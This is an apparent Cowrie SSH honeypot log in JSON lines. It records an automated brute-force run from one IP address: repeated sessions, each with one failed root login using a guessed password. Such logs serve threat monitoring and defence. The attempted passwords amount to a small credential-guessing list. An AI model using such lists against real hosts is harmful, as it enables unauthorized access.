{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:52.479678Z","src_ip":"60.165.124.241","session":"ca965439dbec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0admin123","message":"login attempt [root/7ujMko0admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:53.220338Z","src_ip":"60.165.124.241","session":"ca965439dbec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:54.475358Z","src_ip":"60.165.124.241","session":"ca965439dbec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40216,"dst_ip":"10.17.0.5","dst_port":22,"session":"07720956dcc0","protocol":"ssh","message":"New connection: 60.165.124.241:40216 (10.17.0.5:22) [session: 07720956dcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:55.724399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:55.729848Z","src_ip":"60.165.124.241","session":"07720956dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:55.978262Z","src_ip":"60.165.124.241","session":"07720956dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22&%DJO*8Ph@1ZlfyaT^Y8#Iw&Od0B&W123","message":"login attempt [root/22&%DJO*8Ph@1ZlfyaT^Y8#Iw&Od0B&W123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:56.767864Z","src_ip":"60.165.124.241","session":"07720956dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:58.023467Z","src_ip":"60.165.124.241","session":"07720956dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"b914b81e657f","protocol":"ssh","message":"New connection: 60.165.124.241:44858 (10.17.0.5:22) [session: b914b81e657f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:58.273324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:58.277769Z","src_ip":"60.165.124.241","session":"b914b81e657f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:00.025781Z","src_ip":"60.165.124.241","session":"b914b81e657f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wago","message":"login attempt [root/wago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:01.467189Z","src_ip":"60.165.124.241","session":"b914b81e657f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:02.724588Z","src_ip":"60.165.124.241","session":"b914b81e657f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51106,"dst_ip":"10.17.0.5","dst_port":22,"session":"963e171d0437","protocol":"ssh","message":"New connection: 60.165.124.241:51106 (10.17.0.5:22) [session: 963e171d0437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:02.991447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:03.000920Z","src_ip":"60.165.124.241","session":"963e171d0437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:03.255772Z","src_ip":"60.165.124.241","session":"963e171d0437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"BHRT**56$wx*%*St","message":"login attempt [root/BHRT**56$wx*%*St] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:04.295383Z","src_ip":"60.165.124.241","session":"963e171d0437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:05.544856Z","src_ip":"60.165.124.241","session":"963e171d0437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54808,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d8e594e562","protocol":"ssh","message":"New connection: 60.165.124.241:54808 (10.17.0.5:22) [session: e2d8e594e562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:05.766097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:05.773938Z","src_ip":"60.165.124.241","session":"e2d8e594e562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:06.010303Z","src_ip":"60.165.124.241","session":"e2d8e594e562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1nt3rn3t","message":"login attempt [root/1nt3rn3t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:06.725446Z","src_ip":"60.165.124.241","session":"e2d8e594e562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:07.965986Z","src_ip":"60.165.124.241","session":"e2d8e594e562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57876,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7916fa32e31","protocol":"ssh","message":"New connection: 60.165.124.241:57876 (10.17.0.5:22) [session: c7916fa32e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:08.224313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:08.229463Z","src_ip":"60.165.124.241","session":"c7916fa32e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:08.484247Z","src_ip":"60.165.124.241","session":"c7916fa32e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin001","message":"login attempt [root/Admin001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:09.238965Z","src_ip":"60.165.124.241","session":"c7916fa32e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:10.490624Z","src_ip":"60.165.124.241","session":"c7916fa32e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32846,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9911be1c728","protocol":"ssh","message":"New connection: 60.165.124.241:32846 (10.17.0.5:22) [session: e9911be1c728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:10.735231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:10.743782Z","src_ip":"60.165.124.241","session":"e9911be1c728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:10.992632Z","src_ip":"60.165.124.241","session":"e9911be1c728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"air420","message":"login attempt [root/air420] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:11.745858Z","src_ip":"60.165.124.241","session":"e9911be1c728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:12.997882Z","src_ip":"60.165.124.241","session":"e9911be1c728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3128b39923c8","protocol":"ssh","message":"New connection: 60.165.124.241:36294 (10.17.0.5:22) [session: 3128b39923c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:13.219179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:13.223768Z","src_ip":"60.165.124.241","session":"3128b39923c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:13.460710Z","src_ip":"60.165.124.241","session":"3128b39923c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1XSW2","message":"login attempt [root/zaq1XSW2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:14.176516Z","src_ip":"60.165.124.241","session":"3128b39923c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:15.415713Z","src_ip":"60.165.124.241","session":"3128b39923c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb66dbc0e3d","protocol":"ssh","message":"New connection: 60.165.124.241:39572 (10.17.0.5:22) [session: ffb66dbc0e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:15.648423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:15.653819Z","src_ip":"60.165.124.241","session":"ffb66dbc0e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:15.895042Z","src_ip":"60.165.124.241","session":"ffb66dbc0e3d","protocol":"ssh"}
